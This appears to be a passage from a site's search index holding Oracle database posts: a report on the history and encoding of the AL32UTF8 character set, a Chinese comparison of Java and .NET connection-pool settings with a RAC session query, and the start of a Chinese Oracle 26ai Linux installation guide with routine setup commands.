4 bytes.^1^\nThe legacy Oracle \u0026quot;UTF8\u0026quot; character set, due to its architectural limitations, could not store 4-byte sequences directly. It chose to treat supplementary characters as a pair of \u0026quot;Surrogate Pairs,\u0026quot; with each part occupying 3 bytes, totaling 6 bytes.^2^ This implementation, later known as CESU-8, was viable for internal processing but posed significant risks of data inconsistency and corruption when interacting with web transmissions, XML parsers, and Java applications that expect standard 4-byte UTF-8.^1^\n2001-2002: The Two-Phase Establishment of AL32UTF8 # To address these technical flaws, Oracle 9i introduced AL32UTF8. The \u0026quot;32\u0026quot; in its naming convention implies support for up to 4-byte (32-bit) encoding, distinguishing it from the legacy \u0026quot;24\u0026quot; series.\nJune 2001: Oracle 9i Release 1 was released, officially incorporating AL32UTF8. At this stage, the character set provided preliminary support for Unicode 3.0.^2^\nMay 2002: Oracle 9i Release 2 (9.2.0) was released, updating AL32UTF8 to fully support the Unicode 3.1 standard.^6^\nThis update was critical because Unicode 3.1 allocated 44,946 new supplementary characters for the first time, including CJK Extension B ideographs essential for Asian markets.^9^ The birth of AL32UTF8 marked the moment Oracle databases gained the potential to process every character in human history.\nTechnical Architecture: The Encoding Mechanism of AL32UTF8 # AL32UTF8 is a variable-length multi-byte encoding. Its core advantage lies in its efficient use of space and strict adherence to standards. It dynamically adjusts the storage required for each character based on its Unicode code point.^1^\nByte Allocation and Language Mapping # In AL32UTF8, the storage length of a character depends on its position in the Unicode code table. This mechanism ensures complete backward compatibility with ASCII while supporting complex Asian languages.\nTable 2: AL32UTF8 Storage Allocation Model # Bytes Used Code Point Range Primary Languages and (Hex) Symbols\n1 Byte U+0000 - U+007F Basic ASCII, English letters, numbers, punctuation.^1^\n2 Bytes U+0080 - U+07FF Western European, Latin, Greek, Arabic, Hebrew, etc..^1^\n3 Bytes U+0800 - U+FFFF Common CJK ideographs, Thai, Indic, Euro symbol (€).^1^\n4 Bytes U+10000 - U+10FFFF Rare ideographs, historic scripts, modern Emojis.^1^ # This layered storage mechanism means that for English-only systems, migrating to AL32UTF8 does not increase storage requirements (1:1 ratio). For systems using Western European languages, storage needs may increase slightly, while CJK systems typically require 3 or 4 bytes per character.^1^\nKey Confrontation: AL32UTF8 vs. Legacy UTF8 # Although developers often use these terms interchangeably, they are distinct entities at the database level. This naming confusion has led to countless disasters during upgrade processes.\nTable 3: In-depth Comparison of AL32UTF8 and UTF8 Character Sets # Feature AL32UTF8 (Standard UTF8 (Legacy UTF-8) CESU-8)\nStandard Compliance Complies with IANA Effectively CESU-8; registration and non-standard UTF-8.^4^ XML/Java expectations.^1^\nSupplementary Single character stored Surrogate pair mode, Characters in 4 bytes.^1^ totaling 6 bytes.^2^\nFuture Continuously updated Permanently stuck at Upgradeability with Unicode standards Unicode 3.0.^2^ in each Oracle release.^2^\nRecommended Usage Preferred for all new Only for legacy database compatibility (e.g., deployments.^1^ Forms 6i).^2^ # According to Oracle globalization expert Sergiusz Wolicki, the legacy UTF8 was retained only to maintain backward compatibility for old applications unable to handle character widths exceeding 3 bytes.^16^ However, in modern web environments, using legacy UTF8 to process XML or URL addresses risks security vulnerabilities or system crashes if 4-byte sequences are parsed as invalid bytes.^4^\nSynchronization with Unicode Standards Over Time # Since its inception in 2001, AL32UTF8 has not remained static. Oracle's engineering teams synchronize AL32UTF8's character library and collation logic with the latest Unicode standards in every major release.^4^\nVersion Evolution Timeline # Oracle 10g Release 2: Upgraded AL32UTF8 to Unicode 4.0.^2^ This was vital for supporting rapidly changing e-commerce and globalized applications.\nOracle 11g: Entered the Unicode 5.0 era.^4^ Oracle further optimized Linguistic Sorting performance during this stage.\nOracle 12c Release 2 (12.2): A turning point where Oracle made AL32UTF8 the default character set for OUI and DBCA. Most new Oracle databases now adopt this standard automatically.\nOracle 23c / 23ai: The latest versions have reached Unicode 15.0 compliance.^1^ This ensures that multi-language corpora for Large Language Models (LLMs) can be stored precisely and without loss.\nThe Asian Market: CJK Extension Areas and AL32UTF8 # For data processing in the Greater China region (including Hong Kong and Taiwan), the significance of AL32UTF8 goes beyond technical metrics. Standards like HKSCS in Hong Kong and GB18030 in Mainland China contain a large number of special ideographs and names that cannot fit into traditional 16-bit (UCS-2) or 3-byte UTF-8 spaces.^9^\nIn Taiwan and Hong Kong's legal and financial systems, support for Unicode 3.1 and subsequent extensions became a hard requirement. Without AL32UTF8, systems would display these \u0026quot;Supplementary Characters\u0026quot; as inverted question marks (?) or \u0026quot;tofu\u0026quot; boxes, potentially invalidating legal documents or causing transaction errors.^3^ Consequently, large enterprises in the Asia-Pacific region have prioritized migrating to AL32UTF8 as a core IT infrastructure task since 2001.\nCharacter Set Migration: Technical Challenges and Engineering Practice # When migrating from a single-byte encoding (e.g., WE8MSWIN1252) or a regional multi-byte encoding (e.g., ZHS16GBK) to AL32UTF8, enterprises face complex engineering challenges, primarily due to the \u0026quot;byte expansion\u0026quot; effect.\nThe Shift in Length Semantics # This is the most frequently overlooked pitfall. In a single-byte environment, VARCHAR2(10) means 10 bytes and can store exactly 10 characters.^14^ However, in AL32UTF8:\n10 Chinese characters require 30 bytes.\nIf the definition remains VARCHAR2(10), the system will throw an ORA-01401 error (value too large for column).\nTo solve this, Oracle introduced Character Length Semantics. Administrators can set the NLS_LENGTH_SEMANTICS=CHAR parameter or explicitly specify VARCHAR2(10 CHAR) when defining tables. This instructs Oracle to reserve enough internal space (up to 40 bytes) to ensure 10 characters can be stored regardless of their byte count.\nTable 4: Key Technical Constraints in AL32UTF8 Migration # Constraint Impact Solution\nObject Name 30-Byte Table and column names Use the Character Set Limit are limited to 30 Scanner (CSSCAN) to bytes. Multi-byte identify and rename characters shorten the affected objects before allowable name length. migration.\nData Truncation Column capacity may be Expand column length Risk insufficient for definitions or adopt encoding expansion. CHAR semantics.\nUsernames and Non-ASCII usernames may Oracle recommends using Passwords fail authentication due ASCII for credentials to byte conversion.^15^ or resetting them after migration.^15^\nIndex Length Limits Composite index totals Review index are restricted. definitions; reduce Expansion may cause column lengths or use index creation virtual columns if failure.^15^ necessary. # Modern Migration: The Role of DMU # Historically, DBAs relied on the CSALTER script for \u0026quot;quick switching,\u0026quot; but this was proven dangerous and lost official support after 10gR1.^2^ The only currently recommended method is the Database Migration Assistant for Unicode (DMU).\nDMU provides a logical workflow to scan data, identify corruption or truncation risks, and perform \u0026quot;in-place conversion\u0026quot; during downtime. This significantly reduces downtime compared to traditional export/import methods while providing higher data integrity guarantees.\nPerformance and Storage Trade-offs # While AL32UTF8 offers unparalleled flexibility, architects must acknowledge its side effects. Compared to single-byte character sets, AL32UTF8 carries a cost in performance and storage.\nStorage Expansion # For systems storing large amounts of non-ASCII data, AL32UTF8 costs more. For example, a pure Chinese document takes 2 bytes per character in ZHS16GBK but 3 bytes in AL32UTF8, increasing disk and Buffer Cache requirements by 50%.^1^\nComputational Overhead # Because AL32UTF8 is a variable-length encoding, string functions (like LENGTH, SUBSTR, or INSTR) cannot use simple address offsets to locate data. The engine must scan the byte sequence from the beginning of the string to determine character boundaries.^1^ This adds CPU overhead during massive text searches.^4^\nAlternative: National Character Set (AL16UTF16) # To balance storage efficiency, Oracle 9i recommended using AL16UTF16 as the \u0026quot;National Character Set\u0026quot; alongside AL32UTF8.^1^\nAL16UTF16 uses a 16-bit fixed length (or surrogate pairs). For most Asian ideographs, it requires only 2 bytes compared to 3 bytes in AL32UTF8. For back-end systems primarily handling Asian languages that do not require frequent web encoding conversions, storing data in NVARCHAR2 fields (mapping to AL16UTF16) often yields better spatial performance.^1^\nStrategic Significance for Integrity and Security # The origin and promotion of AL32UTF8 are fundamentally part of a database security strategy. Non-standard encoding handling is often a breeding ground for Cross-Site Scripting (XSS) or SQL injection.^4^\nWhen processing XML data submitted from the web, if the database uses legacy UTF8 (CESU-8) while the web server uses standard UTF-8, malicious byte sequences might bypass web-layer filters and be misparsed at the database level.^4^ AL32UTF8, as a strict implementation of standard UTF-8, ensures \u0026quot;end-to-end encoding consistency\u0026quot; from the browser to the database, providing a security baseline for modern financial and e-government systems.\nFuture Outlook: AL32UTF8 in the AI Era # In the 2020s, the rise of AI databases (like Oracle 23ai) has further cemented the status of AL32UTF8. Vector Search and multi-language Embeddings models rely on a precise understanding of semantics across languages. AL32UTF8's total semantic coverage allows the database to serve as a unified storage layer for everything from Emojis to ancient manuscripts.^1^\nFurthermore, Oracle has optimized the Unicode Collation Algorithm in recent versions, significantly boosting AL32UTF8 performance when executing complex mixed-language sorting queries. It is foreseeable that for the next two decades, AL32UTF8 will remain the irreplaceable global standard in the RDBMS field.\nConclusion # In summary, the AL32UTF8 encoding originated with Oracle 9i Release 1 in June 2001 and reached maturity with full Unicode 3.1 support in Release 2 in May 2002.^2^ Its emergence was a technical necessity, solving the fatal flaw of the legacy UTF8's inability to handle 4-byte supplementary characters and providing a robust infrastructure for globalized web applications.\nFrom its introduction in 9i to becoming the default standard in 12.2 and achieving Unicode 15.0 compliance in 23c, the history of AL32UTF8 is a microcosm of the synchronized development between Oracle databases and global information exchange standards. For modern enterprises, adopting AL32UTF8 is not just about supporting multiple languages; it is about ensuring standardization, security, and compatibility in the upcoming AI era.\n引用的著作 # Why the Database Character Set Matters | timesten - Oracle Blogs, 檢索日期：3月 19, 2026， [https://blogs.oracle.com/timesten/why-databasecharacterset-matters]{.underline}\n4 About Globalization and Multibyte Support, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/E12530_01/oam.1014/b32410/utf8intr.htm]{.underline}\nUTF8 \u0026amp; AL32UTF8 - Hewlett Packard Enterprise Community, 檢索日期：3月 19, 2026， [https://community.hpe.com/t5/operating-system-hp-ux/utf8-amp-al32utf8/td-p/3610206]{.underline}\n6 Supporting Multilingual Databases with Unicode - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/21/nlspg/supporting-multilingual-databases-with-unicode.html]{.underline}\nSupporting Multilingual Databases with Unicode - Oracle, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/A97385_01/server.920/a96529/ch5.htm]{.underline}\n6 Supporting Multilingual Databases with Unicode - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/23/nlspg/supporting-multilingual-databases-with-unicode.html]{.underline}\nOracle 9i, 檢索日期：3月 19, 2026， [https://www.orafaq.com/wiki/Oracle_9i]{.underline}\nRDBMS 8/8i/9i/10g Timeline (History) - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/rdbms-8-8i-9i-10g-timeline-history-8581]{.underline}\n6 Supporting Multilingual Databases with Unicode, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/B13789_01/server.101/b10749/ch6unico.htm]{.underline}\n5 Globalization Support, 檢索日期：3月 19, 2026， [http://luna-ext.di.fc.ul.pt/oracle11g/timesten.112/e13065/globalization.htm]{.underline}\nSupplementary Characters in the Java Platform - Oracle, 檢索日期：3月 19, 2026， [https://www.oracle.com/technical-resources/articles/javase/supplementary.html]{.underline}\nUAX #27: Unicode 3.1, 檢索日期：3月 19, 2026， [http://www.unicode.org/reports/tr27/tr27-3.html]{.underline}\nUTF-8 - Wikipedia, 檢索日期：3月 19, 2026， [https://en.wikipedia.org/wiki/UTF-8]{.underline}\nDifference between AL32UTF8 and UTF8 - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/difference-between-al32utf8-and-utf8-9382]{.underline}\n11 Character Set Migration - Database - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/23/nlspg/character-set-migration.html]{.underline}\noracle database - Character set encodings and storage size factors - Stack Overflow, 檢索日期：3月 19, 2026， [https://stackoverflow.com/questions/14991238/character-set-encodings-and-storage-size-factors]{.underline}\nManually Creating an Oracle Database, 檢索日期：3月 19, 2026， [https://www.filibeto.org/sun/lib/nonsun/oracle/11.1.0.6.0/B28359_01/server.111/b28310/create002.htm]{.underline}\n2 Creating and Configuring an Oracle Database, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/18/admin/creating-and-configuring-an-oracle-database.html]{.underline}\nDB wrong character set following control file re-creation. How to correct it ? - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/db-wrong-character-set-following-control-file-re-creation-h-8757]{.underline}\nNLS_LENGTH_SEMANTICS - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/nls-length-semantics-6994]{.underline}\nCharacter Set Support - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/26/sqlrf/Character-Set-Support.html]{.underline}\nHow can I tell if my Oracle system is set to support Unicode or multibyte characters?, 檢索日期：3月 19, 2026， [https://stackoverflow.com/questions/9703421/how-can-i-tell-if-my-oracle-system-is-set-to-support-unicode-or-multibyte-charac]{.underline}\nOracle recommends AL32UTF8 but installs WE8MSWIN1252, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/oracle-recommends-al32utf8-but-installs-we8mswin1252-8661]{.underline}\nNational Character Set | Oracle 9i Fundamentals I Exam Cram 2 - Flylib.com, 檢索日期：3月 19, 2026， [https://flylib.com/books/en/3.485.1.90/1/]{.underline}\n","date":"March 22, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-encoding-history-al32utf8-en/","section":"Oracle-Databases","summary":"The Cornerstone of the Globalized Information Era: A Deep Research Report on the Origins, Technical Evolution, and Architecture of Oracle AL32UTF8 # In the history of Relational Database Management Systems (RDBMS), the representation of data has always been caught between the limitations of hardware and the demands of global information exchange. With the explosion of the Internet in the mid-1990s, the need for enterprises to support multi-language and multi-cultural data storage evolved from a regional solution into a global technical mandate. In this context, Oracle's AL32UTF8 character set was born. This report explores the origins, technical motivations, architectural principles, and evolution of AL32UTF8 alongside Unicode standards over the past two decades.\n","title":"Oracle Encoding History - AL32UTF8","type":"oracle-database"},{"content":" 程式語言連線方式比對: Java VS .NET # 設定類別 設定名稱 設定說明 Java 參數名稱 (YAML) .Net (ODP.NET) 參數名稱 基礎配置 資料庫方言 告知 ORM 框架底層是哪種資料庫，以產生對應的 SQL。 dialect (無直接對應，ODP.NET 為 Oracle 專用原生驅動) 基礎配置 記錄 SQL 是否在 Console 或日誌中印出執行的 SQL 語法。 logSql (無直接對應，通常透過 .NET ORM 或 Oracle Trace 設定) 基礎配置 連線字串 指定要連線的資料庫 IP、Port 與 Service Name。 url Data Source 連線池開關 啟用連線池 是否啟用連線池機制來重複利用實體連線。 pooled Pooling 容量控制 初始連線數 連線池剛啟動時，預先建立的連線數量。 initialSize Min Pool Size (啟動時即盡量滿足此數量) 容量控制 最小閒置連線 連線池常態維持的最小連線數，減少突發流量的建立成本。 minIdle / minimumIdle Min Pool Size 容量控制 最大活動連線 整個連線池允許擴張到的極限總數，保護 DB 不被撐爆。 maxActive / maximumPoolSize Max Pool Size 容量控制 最大閒置連線 允許處於閒置狀態的最大連線數，超過此數的閒置連線會被釋放。 maxIdle (由 Min Pool Size 與 Decr 步進機制控制) 擴縮機制 連線增量 當連線不夠用時，一次額外建立的連線數量步進值。 (框架通常預設為 1，逐一增加) Incr Pool Size 擴縮機制 連線減量 當回收閒置連線時，一次關閉的連線數量步進值。 (框架通常由驅逐執行緒逐一回收) Decr Pool Size 生命週期 連線等待逾時 當池中無可用連線時，應用程式等待獲取連線的極限時間（毫秒/秒）。 maxWait / connectionTimeout Connection Timeout (預設單位為秒) 生命週期 最大存活時間 強制關閉並重建連線的時間上限，對於 RAC 環境的負載重新分配極為重要。 maxAge / maxLifetime Connection Lifetime (預設單位為秒) 生命週期 閒置回收時間 連線閒置超過此時間後，將被標記為可回收。 minEvictableIdleTimeMillis / idleTimeout (ODP.NET 每 3 分鐘自動執行一次閒置評估，無對應參數) 驅逐執行緒 驅逐檢查間隔 背景執行緒每隔多久醒來檢查一次是否有超時的閒置連線。 timeBetweenEvictionRunsMillis (由 ODP.NET 底層自動排程，無對應參數) 驅逐執行緒 每次檢查數量 每次背景執行緒醒來時，要檢查多少個連線。 numTestsPerEvictionRun (由 ODP.NET 內部演算法決定，無對應參數) 有效性驗證 借用前驗證 在從連線池取出連線前，先測試其是否存活（應對 RAC 節點偏移）。 testOnBorrow Validate Connection 有效性驗證 閒置時驗證 驅逐執行緒在檢查閒置連線時，是否順便測試其存活狀態。 testWhileIdle HA Events (ODP.NET 依賴 HA Events 即時剔除死連線) 有效性驗證 歸還前驗證 將連線放回連線池之前，測試其是否存活。 testOnReturn (無直接對應參數) 有效性驗證 驗證語法 用來測試連線是否存活的 SQL 語法。 validationQuery (例如 SELECT 1) (ODP.NET 原生支援 Ping DB，無需指定 SQL) 有效性驗證 驗證逾時 驗證語法執行的極限時間。 validationQueryTimeout (包含在整體的 Connection Timeout 中) 有效性驗證 驗證間隔限制 避免過度頻繁驗證，定義兩次驗證之間的最短間隔。 validationInterval (無直接對應參數) 進階與監控 JMX 監控啟用 是否將連線池的狀態（如活躍數、閒置數）註冊到 Java JMX 以便工具監控。 jmxEnabled .NET 通常使用 Performance Counters 監控 進階與監控 JDBC 攔截器 註冊攔截器以捕捉連線狀態或 SQL 執行過程（如 ConnectionState）。 jdbcInterceptors (無直接對應，需透過 .NET 的 DbCommandInterceptor 實作) 交易與效能 預設交易隔離 設定連線的預設隔離層級（如 Read Committed）。 defaultTransactionIsolation (通常透過 .NET TransactionScope 或程式碼指定) 交易與效能 環境交易控制 決定連線是否自動加入 .NET 的分散式/環境交易（TransactionScope）。 (Java 透過 JTA/XA 另行控制) Enlist 交易與效能 語法快取 快取常執行的 SQL 語法，降低 DB 重新 Parsing 的負擔。 (Java 通常在 JDBC URL 中設定 statementCacheSize) Statement Cache Size RAC 專屬 高可用性事件 接收 RAC DB 發出的節點開關機或故障事件（FAN Events），快速剔除失效連線。 (Java 需改用 Oracle UCP 連線池才能完美支援) HA Events RAC 專屬 執行階段負載平衡 根據 RAC 節點的回報（RLB），聰明地將新連線請求導向附載較低的節點。 (Java 需改用 Oracle UCP 連線池才能完美支援) Load Balancing JAVA 連線範例 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 dataSource: dialect: org.hibernate.dialect.Oracle12cDialect logSql: false pooled: true url: jdbc:oracle:thin:@//127.0.0.1:1521/test properties: jmxEnabled: true initialSize: 5 maxActive: 50 minIdle: 5 maxIdle: 25 maxWait: 10000 maxAge: 600000 timeBetweenEvictionRunsMillis: 5000 minEvictableIdleTimeMillis: 60000 numTestsPerEvictionRun: 3 validationQuery: SELECT 1 validationQueryTimeout: 3 validationInterval: 15000 testOnBorrow: true testWhileIdle: true testOnReturn: false jdbcInterceptors: ConnectionState defaultTransactionIsolation: 2 # TRANSACTION_READ_COMMITTED connectionTimeout: 30000 idleTimeout: 600000 maxLifetime: 1800000 minimumIdle: 10 maximumPoolSize: 40 RAC 連線監控方式 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 SELECT s.inst_id AS \u0026#34;RAC_Node_ID\u0026#34;, i.instance_name AS \u0026#34;Instance_Name\u0026#34;, s.machine AS \u0026#34;AP_Server\u0026#34;, s.service_name AS \u0026#34;Service_Name\u0026#34;, s.status AS \u0026#34;Session_Status\u0026#34;, COUNT(*) AS \u0026#34;Session_Count\u0026#34;, MIN(s.logon_time) AS \u0026#34;Oldest_Logon\u0026#34;, MAX(s.logon_time) AS \u0026#34;Newest_Logon\u0026#34; FROM gv$session s JOIN gv$instance i ON s.inst_id = i.inst_id WHERE UPPER(s.machine) LIKE \u0026#39;%TEST%\u0026#39; -- 篩選特定的 RAC Service AND s.service_name = \u0026#39;service_name\u0026#39; GROUP BY s.inst_id, i.instance_name, s.machine, s.service_name, s.status ORDER BY s.inst_id, s.machine, s.status; ","date":"March 9, 2026","externalUrl":null,"permalink":"/oracle-database/connect-manage/","section":"Oracle-Databases","summary":"程式語言連線方式比對: Java VS .NET # 設定類別 設定名稱 設定說明 Java 參數名稱 (YAML) .Net (ODP.NET) 參數名稱 基礎配置 資料庫方言 告知 ORM 框架底層是哪種資料庫，以產生對應的 SQL。 dialect (無直接對應，ODP.NET 為 Oracle 專用原生驅動) 基礎配置 記錄 SQL 是否在 Console 或日誌中印出執行的 SQL 語法。 logSql (無直接對應，通常透過 .NET ORM 或 Oracle Trace 設定) 基礎配置 連線字串 指定要連線的資料庫 IP、Port 與 Service Name。 url Data Source 連線池開關 啟用連線池 是否啟用連線池機制來重複利用實體連線。 pooled Pooling 容量控制 初始連線數 連線池剛啟動時，預先建立的連線數量。 initialSize Min Pool Size (啟動時即盡量滿足此數量) 容量控制 最小閒置連線 連線池常態維持的最小連線數，減少突發流量的建立成本。 minIdle / minimumIdle Min Pool Size 容量控制 最大活動連線 整個連線池允許擴張到的極限總數，保護 DB 不被撐爆。 maxActive / maximumPoolSize Max Pool Size 容量控制 最大閒置連線 允許處於閒置狀態的最大連線數，超過此數的閒置連線會被釋放。 maxIdle (由 Min Pool Size 與 Decr 步進機制控制) 擴縮機制 連線增量 當連線不夠用時，一次額外建立的連線數量步進值。 (框架通常預設為 1，逐一增加) Incr Pool Size 擴縮機制 連線減量 當回收閒置連線時，一次關閉的連線數量步進值。 (框架通常由驅逐執行緒逐一回收) Decr Pool Size 生命週期 連線等待逾時 當池中無可用連線時，應用程式等待獲取連線的極限時間（毫秒/秒）。 maxWait / connectionTimeout Connection Timeout (預設單位為秒) 生命週期 最大存活時間 強制關閉並重建連線的時間上限，對於 RAC 環境的負載重新分配極為重要。 maxAge / maxLifetime Connection Lifetime (預設單位為秒) 生命週期 閒置回收時間 連線閒置超過此時間後，將被標記為可回收。 minEvictableIdleTimeMillis / idleTimeout (ODP.NET 每 3 分鐘自動執行一次閒置評估，無對應參數) 驅逐執行緒 驅逐檢查間隔 背景執行緒每隔多久醒來檢查一次是否有超時的閒置連線。 timeBetweenEvictionRunsMillis (由 ODP.NET 底層自動排程，無對應參數) 驅逐執行緒 每次檢查數量 每次背景執行緒醒來時，要檢查多少個連線。 numTestsPerEvictionRun (由 ODP.NET 內部演算法決定，無對應參數) 有效性驗證 借用前驗證 在從連線池取出連線前，先測試其是否存活（應對 RAC 節點偏移）。 testOnBorrow Validate Connection 有效性驗證 閒置時驗證 驅逐執行緒在檢查閒置連線時，是否順便測試其存活狀態。 testWhileIdle HA Events (ODP.NET 依賴 HA Events 即時剔除死連線) 有效性驗證 歸還前驗證 將連線放回連線池之前，測試其是否存活。 testOnReturn (無直接對應參數) 有效性驗證 驗證語法 用來測試連線是否存活的 SQL 語法。 validationQuery (例如 SELECT 1) (ODP.NET 原生支援 Ping DB，無需指定 SQL) 有效性驗證 驗證逾時 驗證語法執行的極限時間。 validationQueryTimeout (包含在整體的 Connection Timeout 中) 有效性驗證 驗證間隔限制 避免過度頻繁驗證，定義兩次驗證之間的最短間隔。 validationInterval (無直接對應參數) 進階與監控 JMX 監控啟用 是否將連線池的狀態（如活躍數、閒置數）註冊到 Java JMX 以便工具監控。 jmxEnabled .NET 通常使用 Performance Counters 監控 進階與監控 JDBC 攔截器 註冊攔截器以捕捉連線狀態或 SQL 執行過程（如 ConnectionState）。 jdbcInterceptors (無直接對應，需透過 .NET 的 DbCommandInterceptor 實作) 交易與效能 預設交易隔離 設定連線的預設隔離層級（如 Read Committed）。 defaultTransactionIsolation (通常透過 .NET TransactionScope 或程式碼指定) 交易與效能 環境交易控制 決定連線是否自動加入 .NET 的分散式/環境交易（TransactionScope）。 (Java 透過 JTA/XA 另行控制) Enlist 交易與效能 語法快取 快取常執行的 SQL 語法，降低 DB 重新 Parsing 的負擔。 (Java 通常在 JDBC URL 中設定 statementCacheSize) Statement Cache Size RAC 專屬 高可用性事件 接收 RAC DB 發出的節點開關機或故障事件（FAN Events），快速剔除失效連線。 (Java 需改用 Oracle UCP 連線池才能完美支援) HA Events RAC 專屬 執行階段負載平衡 根據 RAC 節點的回報（RLB），聰明地將新連線請求導向附載較低的節點。 (Java 需改用 Oracle UCP 連線池才能完美支援) Load Balancing JAVA 連線範例 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 dataSource: dialect: org.hibernate.dialect.Oracle12cDialect logSql: false pooled: true url: jdbc:oracle:thin:@//127.0.0.1:1521/test properties: jmxEnabled: true initialSize: 5 maxActive: 50 minIdle: 5 maxIdle: 25 maxWait: 10000 maxAge: 600000 timeBetweenEvictionRunsMillis: 5000 minEvictableIdleTimeMillis: 60000 numTestsPerEvictionRun: 3 validationQuery: SELECT 1 validationQueryTimeout: 3 validationInterval: 15000 testOnBorrow: true testWhileIdle: true testOnReturn: false jdbcInterceptors: ConnectionState defaultTransactionIsolation: 2 # TRANSACTION_READ_COMMITTED connectionTimeout: 30000 idleTimeout: 600000 maxLifetime: 1800000 minimumIdle: 10 maximumPoolSize: 40 RAC 連線監控方式 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 SELECT s.inst_id AS \"RAC_Node_ID\", i.instance_name AS \"Instance_Name\", s.machine AS \"AP_Server\", s.service_name AS \"Service_Name\", s.status AS \"Session_Status\", COUNT(*) AS \"Session_Count\", MIN(s.logon_time) AS \"Oldest_Logon\", MAX(s.logon_time) AS \"Newest_Logon\" FROM gv$session s JOIN gv$instance i ON s.inst_id = i.inst_id WHERE UPPER(s.machine) LIKE '%TEST%' -- 篩選特定的 RAC Service AND s.service_name = 'service_name' GROUP BY s.inst_id, i.instance_name, s.machine, s.service_name, s.status ORDER BY s.inst_id, s.machine, s.status; ","title":"資料庫連線管理","type":"oracle-database"},{"content":" 資料庫環境 # Database version: ORACLE_HOME: /u01/app/oracle/product/26/db 準備檔案 # 資料庫軟體: LINUX.X64_2326100_db_home.zip sha256sum : 5419f613af80477403edbd12f6ce038f3dba5da535b619d3928aee340f0d9ed6 database-preinstall RPM: oracle-ai-database-preinstall-26ai-1.0-0.1.el8.x86_64.rpm Download Page: https://www.oracle.com/database/technologies/oracle26ai-linux-downloads.html\n環境準備 # OS: Oracle Linux Server release 8.10 Oracle Linux 8.8 with the Unbreakable Enterprise Kernel 8: 5.15.0-313.189.5.1.el8uek.x86_64 CPU: 8 vCore RAM: 16G SWAP: 16G Disk: 50 Gib Total 安裝步驟 # Preinstallation # 1 dnf install oracle-ai-database-preinstall-26ai 執行結果\noracle-ai-database-preinstall-26ai.log Configuring HugePages on Linux # 設定前\n1 2 3 4 5 6 7 8 9 10 [root@db124-oracle-26ai ~]# grep Huge /proc/meminfo AnonHugePages: 26624 kB ShmemHugePages: 0 kB FileHugePages: 2048 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB Hugetlb: 0 kB 設定公式如下\n$HugePages_Total = \\frac{SGA_SIZE}{Hugepagesize} + 少量緩衝$\n$$\\text{HugePages_Total} = \\frac{\\text{SGA_TARGET (MB)}}{2 \\text{ MB}} + \\text{Margin (少量緩衝)}$$\n/etc/sysctl.d/99-oracle-hugepages.conf 1 vm.nr_hugepages = 4096 1 sysctl -p /etc/sysctl.d/99-oracle-hugepages.conf 設定結果\n1 2 3 4 5 6 7 8 9 10 [root@db124-oracle-26ai ~]# grep Huge /proc/meminfo AnonHugePages: 26624 kB ShmemHugePages: 0 kB FileHugePages: 2048 kB HugePages_Total: 4096 HugePages_Free: 4096 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB Hugetlb: 8388608 kB Transparent HugePages madvise is Recommand # 26ai 之後建議有更動，改為 madvise 在 19c 是 never\n1 2 [root@db124-oracle-26ai ~]# cat /sys/kernel/mm/transparent_hugepage/enabled always [madvise] never 虛擬機檢查事項 - Clock Source = tsc (Time Stamp Counter) # Oracle 建議將時鐘源設定為 tsc (Time Stamp Counter)，因為它的讀取延遲最低，能顯著減少系統呼叫的開銷。\n設定前\n1 2 [root@db124-oracle-26ai ~]# cat /sys/devices/system/clocksource/clocksource0/available_clocksource kvm-clock tsc acpi_pm 設定後\n1 2 [root@db124-oracle-26ai ~]# cat /sys/devices/system/clocksource/clocksource0/current_clocksource tsc 操做紀錄如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 [root@db124-oracle-26ai ~]# cat /sys/devices/system/clocksource/clocksource0/available_clocksource kvm-clock tsc acpi_pm [root@db124-oracle-26ai ~]# echo \u0026#34;tsc\u0026#34; \u0026gt; /sys/devices/system/clocksource/clocksource0/current_clocksource [root@db124-oracle-26ai ~]# cat /sys/devices/system/clocksource/clocksource0/current_clocksource tsc [root@db124-oracle-26ai ~]# vim /etc/default/grub [root@db124-oracle-26ai ~]# grub2-mkconfig -o /boot/grub2/grub.cfg Generating grub configuration file ... done [root@db124-oracle-26ai ~]# cat /etc/default/grub # ...[內容忽略] GRUB_CMDLINE_LINUX=\u0026#34;... transparent_hugepage=madvise clocksource=tsc\u0026#34; # ...[內容忽略] 建立目錄 # 1 2 3 4 5 mkdir -p /u01/app/oracle mkdir -p /u01/app/oraInventory chown -R oracle:oinstall /u01/app/oracle chown -R oracle:oinstall /u01/app/oraInventory chmod -R 775 /u01/app 建立 $ORACLE_HOME\n1 2 su - oracle mkdir -p /u01/app/oracle/product/26/db 設定環境參數 # 設定文件: /home/oracle/scripts/setEnv.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Oracle Settings export TMP=/tmp; export TMPDIR=$TMP; export ORACLE_BASE=/u01/app/oracle; export ORACLE_UNQNAME=db124 export ORACLE_HOME=$ORACLE_BASE/product/26/db; export ORACLE_HOSTNAME=db124-oracle-26ai; export ORACLE_SID=db124; export PATH=/usr/sbin:$PATH; export 